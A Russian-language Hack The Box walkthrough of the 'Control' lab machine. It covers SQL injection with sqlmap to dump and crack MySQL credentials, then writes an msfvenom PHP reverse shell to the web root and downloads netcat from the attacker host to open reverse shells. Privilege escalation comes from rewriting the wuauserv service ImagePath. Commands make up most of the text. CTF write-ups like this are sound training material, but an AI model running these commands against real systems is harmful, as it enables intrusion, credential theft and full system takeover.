Hack The Box. Прохождение Control. SQL инъекция и LPE через права на службу

Моя цель - предложение широкого ассортимента товаров и услуг на постоянно высоком качестве обслуживания по самым выгодным ценам.
image

Продолжаю публикацию решений отправленных на дорешивание машин с площадки HackTheBox.

В данной статье проникаем в систему через SQL инъекцию, копаемся в истории командной строки и повышаем свои привилегии благодаря имеющимся правам на службу.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.167, который я добавляю в /etc/hosts.

10.10.10.167    control.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.167   --rate=1000

image

Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
nmap -A control.htb -p80,135,3306,49667,49666

image

На хосте работает веб-сервер. Посмотрим что там.

image

И видим, что есть ссылка на админку. Но нам сообщают, что отсутствует заголовок и мы должны обращаться через прокси.

image

При этом в исходном коде стартовой страницы находим сообщение:

image

Сопоставляя то, что нужно использовать прокси, и найденный адрес, предполагаем, что заходить нужно именно через него. Прокси отображается в HTTP протоколе в заголовке x-forwarded-for. Давайте выставим его.

image

И мы удачно заходим на страницу админа. Давайте зайдем через браузер.

image

Но при попытке что-либо сделать, нас будут выбрасывать на страницу с сообщением о прокси. Так происходит потому, что мы не подставляем найденный заголовок. Что бы не делать это каждый раз в Burp Suite во вкладке Proxy -> Options найдем функцию “Match and Replace”.

image

И добавим новую запись, которая будет автоматически добавлять данный заголовок во все исходящие запросы.

image

И тестируя поле поиска находим SQL инъекцию.

image

Для эксплуатации используем sqlmap. Давайте сохраним данный запрос в файл (Copy to file) и запустим sqlmap, передав данный файл в качестве параметра.
sqlmap -r headers.req

image

Entry Point
Посмотрим какие имеются базы данных.
sqlmap -r headers.req --dbs

image

Давайте узнаем, какие имеются учетные данные. Посмотрим все таблицы в базе данных mysql.
sqlmap -r headers.req -D mysql --tables

image

Так нас интересует таблица user. Давайте получим названия всех колонок.
sqlmap -r headers.req -D mysql -T user --columns

image

Из всех колонок наиболее интересны User и Password. Узнаем что в них.
sqlmap -r headers.req -D mysql -T user -C User,Password --dump

image

В базе хранится несколько пользователей. Sqlmap предлагает взломать хеши. Выбираем атаку по словарю, указываем, что хотим использовать свой словарь и пишем путь к rockyou.

image

Спустя несколько секунд, нам будет предоставлена таблица с именами пользователей и хешами их паролей. Если sqlmap смог взломать пароль он укажет его рядом с хешем в скобках. Как можно наблюдать, мы имеем учетные данные пользователя hector.

image

Получить шелл с помощью sqlmap не получилось, но вот записать файлы выходит. Давайте разместим веб шел. Сначала сгенерируем meterpreter нагрузку в формате PHP.
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.15.82 LPORT=4321 -f raw > r.php
cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php


А теперь запишем его с помощью sqlmap в директорию веб сервера.
sqlmap -r headers.req --file-write=/home/ralf/tmp/r.php --file-dest=C:/inetpub/wwwroot/r.php

image

Файл успешно записан. Запустим листенер.

image

И обратимся к своему файлу на веб сервере.
curl http://control.htb/r.php


В окне Metasploit наблюдаем успешное подключение.

image

Переходи в данную сессию.

image

Но вот проблема, мы не можем выполнять команды через шелл, В добавок при подобных попытках сбрасывается соединение. Попробуем обойти блокировку за счет создания процесса powershell в скрытом от просмотра (-H) интерактивном режиме (-i) с передачей нашей команды в качестве параметры (-a). Давайте узнаем под каким пользователем мы работаем.

image

USER


У нас есть учетные данные Гектора, узнаем есть ли такой пользователь в системе.

image

Такой пользователь есть! Но сначала узнаем имя машины.

image

У нас есть логин, пароль, домен и имя машины. Теперь проверим подойдут ли полученные нами учетные данные. Для этого выполним “whoami” от имени Гектора.
execute -f powershell -a "$username = 'Control\Hector' ; $password = 'l33th4x0rhector' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername Fidelity -credential $credential -scriptblock { whoami }" -i -H

image

Отлично. Давайте получим шелл. Запустим на локальном хосте веб-сервер.
python3 -m http.server 80


И загрузим на удаленный хост Netcat.
execute -f powershell -a "$username = 'Control\Hector' ; $password = 'l33th4x0rhector' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername Fidelity -credential $credential -scriptblock { iwr 10.10.15.82/nc.exe -o C:\\Users\\Hector\\Documents\\nc.exe }" -i -H


Теперь откроем у себя 5432 порт. nc -lvp 5432 и выполним обратное подключение с удаленного хоста.
execute -f powershell -a "$username = 'Control\Hector' ; $password = 'l33th4x0rhector' ; $securePassword = ConvertTo-SecureString $password -AsPlainText -Force ; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword ; Invoke-command -computername Fidelity -credential $credential -scriptblock { C:\\Users\\Hector\\Documents\\nc.exe -e powershell 10.10.15.82 5432 }" -i -H


Так мы берем пользователя.

image

ROOT


Далее при попытке загрузить на хост одно из средств сбора информации с хоста ( такие как BloodHound, PowerUp, JAWS, WinPEAS) замечаем, что их удаляет дефендер. Но у WinPEAS есть bat версия, которая не удаляется. Загружем его на хост и запускаем. Далее следует только внимательно просматривать собранную информацию. И мы находим интересный файл ConsoleHost_history.txt

image

Смотрим, что он содержит.

image

Данные команды единственное, что у нас есть. Командлет Get-Acl получает объекты, которые представляют дескриптор безопасности файла или ресурса. Дескриптор безопасности содержит списки управления доступом (ACL) ресурса. Список ACL содержит разрешения, необходимые пользователям и группам пользователей для доступа к ресурсу. Таким образом, я решил, что путь решениея кроится в службах и доступе к ним. Давайте получим все службы и разрешения Гектора к ним.

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "Hector Users Path"


Просматривая вывод, замечаем, что Гектор имеет полные права на службу обновления Windows — wuauserv.

image

Службы в операционной системе Windows выполняются с правами System. При регистрации службы в системе, путь к исполняемому файлу службы охраняется в атрибуте ImagePath. Давайте изменим значение данного атрибута и загрузим шелл.
reg add "HKLM\System\CurrentControlSet\Services\wuauserv" /v ImagePath /t REG_SZ /d "C:\Users\Hector\Documents\nc.exe -e powershell 10.10.15.82 6543"


Теперь запустим службу обновления.
start-service wuauserv


И получаем шелл с максимальными привилегиями.

image

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Источник: https://habr.com/ru/post/499060/


Интересные статьи

Интересные статьи

Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox. Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабоче...
Мне было необходимо делать 2 раза в сутки бэкап сайта на «1С-Битрикс: Управление сайтом» (файлов и базы mysql) и хранить историю изменений за 90 дней. Сайт расположен на VDS под уп...
Всем доброго времени суток. В этой статье мы разберём подключение TFT дисплея ER-TFT101-1 (10 дюймов, RA8876 драйвер) к плате STM32F429L Discovery по 16-битному параллельному интерфейсу 8080 испо...
Бизнес-смыслы появились в Битриксе в начале 2016 года, но мало кто понимает, как их правильно использовать для удобной настройки интернет-магазинов.
Продолжение статьи Как мы запустили роботов в маленький Чернобыль про игровую концепцию Remote Reality. Мы очень благодарны сообществу Хабр за проявленный интерес к нашему проекту, за много хо...